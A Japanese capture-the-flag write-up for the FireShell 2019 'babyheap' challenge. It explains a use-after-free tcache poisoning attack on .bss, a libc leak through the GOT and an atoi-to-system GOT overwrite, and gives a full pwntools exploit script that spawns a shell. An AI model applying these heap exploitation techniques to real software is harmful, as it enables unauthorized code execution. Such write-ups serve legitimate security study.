方針

Use After Freeでfdを書き換えることで、.bss+0x20(グローバル変数のアドレス)をtcacheに繋ぐ。 そのときにすべてのグローバル変数を初期化する。 また、atoi@gotsystemに向けて、system("/bin/sh")を呼び出す。

Use After Free

freeした領域のfd.bss+0x20で書き換える。

(最初にfreeした領域を0と表記する)

tcache: 0 -> (.bss+0x20) -> NULL
create()
delete()
edit(p64(e.bss()+0x20)) # 0x6020a0

なぜ.bss+0x20のアドレスを繋ぐのか

各種フラグや、mallocして返ってくる領域が.bssに置かれています。 したがって、各種フラグの再初期化や、 返ってくる領域に任意のアドレスを書き込みやすいからです。

.bss sectionのアドレス

gef➤  xfiles
Start              End                Name                  File
0x00000000003ff270 0x00000000003ff450 .dynamic              /ctf/yu1hpa/019/FireShell/babyheap/babyheap
:                    :                    :
0x0000000000602080 0x00000000006020d0 .bss                  /ctf/yu1hpa/2019/FireShell/babyheap/babyheap

よって、bssセクションは0x602080から始まる。

各種フラグの初期化とlibc leakの旅

create -> edit -> show -> deleteをした時です。 最後にdeleteをしていることと、隠しコマンドfillは使ってないので、フラグが立っていません。

(デコンパイラを使って、各アドレスがどのフラグかを確認できます。)

0x6020a0:       0x0000000000000000      0x0000000000000001
0x6020b0:       0x0000000000000001      0x0000000000000001
0x6020c0:       0x0000000000000000      0x0000000000603260
0x6020a0: create
0x6020a8: edit
0x6020b0: show
0x6020b8: delete
0x6020c0: fill
0x6020c8: mallocしたときに返ってくる領域

あとはfill.bss+0x20に書き込み、showすることで、 libc leakすることができます。

pld = b""
pld += p64(0) # create
pld += p64(0) # edit
pld += p64(0) # show
pld += p64(0) # delete
pld += p64(0) # fill
pld += p64(e.got["atoi"])
fill(pld)
show()
io.recvuntil("Content: ")
libc.address = u64(io.recvline()[:-1].ljust(8, b"\x00")) - libc.sym["atoi"]

GOT Overwrite

atoi()が呼び出されたときに、system()が呼び出されるようにします。

*atoi@got = system

atoi()はコマンドの選択で使われているので、 そこで/bin/shという文字列を渡すことでsystem("/bin/sh")が呼び出されます。

Solver

from pwn import *

file = "./babyheap"
e = ELF(file)
libc = ELF("./libc.so.6")
context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'

io = process(file)

def create():
    io.sendlineafter("> ", "1")

def edit(content: bytes):
    io.sendlineafter("> ", "2")
    io.sendlineafter("Content? ", content)

def show():
    io.sendlineafter("> ", "3")

def delete():
    io.sendlineafter("> ", "4")

def fill(content: bytes):
    io.sendlineafter("> ", "1337")
    io.sendlineafter("Fill ", content)

create()
delete()
edit(p64(e.bss()+0x20)) # 0x6020a0
create()

pld = b""
pld += p64(0) # create
pld += p64(0) # edit
pld += p64(0) # show
pld += p64(0) # delete
pld += p64(0) # fill
pld += p64(e.got["atoi"])
fill(pld)
show()
io.recvuntil("Content: ")
libc.address = u64(io.recvline()[:-1].ljust(8, b"\x00")) - libc.sym["atoi"]
print(f'libc base: 0x{libc.address:x}')

edit(p64(libc.sym["system"]))
io.sendlineafter("> ", "/bin/sh\x00")

io.interactive()